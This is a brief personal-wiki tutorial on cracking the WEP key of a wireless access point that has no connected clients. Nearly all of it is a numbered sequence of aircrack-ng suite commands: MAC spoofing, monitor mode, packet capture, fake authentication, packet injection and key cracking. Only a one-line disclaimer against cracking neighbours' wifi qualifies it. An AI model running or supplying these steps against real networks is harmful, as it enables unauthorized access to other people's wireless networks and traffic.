Cracking a clientless wep AP
From D3xt3r01.tk
WHY
Not all AP's have a client connected ...I'll assume you already have a supported card and the injection is working !!! I'll also assume that you know what you're doing and you're not doing anything illegal ! DON'T GO CRACKING NEIGHBOURs wifi...
HOW
1) stop the card
airmon-ng stop wlan0 ifconfig wlan0 down
2) change card mac
ifconfig wlan0 hw ether 00:11:22:33:44:55 up
3) get some access points
iwlist wlan0 scan
4) start it in monitor mode
airmon-ng start wlan0
5) start dumping packets
airodump-ng -c channel -w file --bssid ap_mac wlan0
6) fake auth
aireplay-ng -1 0 -a ap_mac -h 00:11:22:33:44:55 wlan0
7) play some fake packets ( you should see the packets grow fast in the airodump-ng window )
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b ap_mac -h 00:11:22:33:44:55 wlan0
8) crack it !!!
aircrack-ng file-01.cap
STUFF
If something's wrong .. you're probably not auth'ed .. or the injection doesn't work .. or you're too far away .. bla bla bla.. Not my problem.
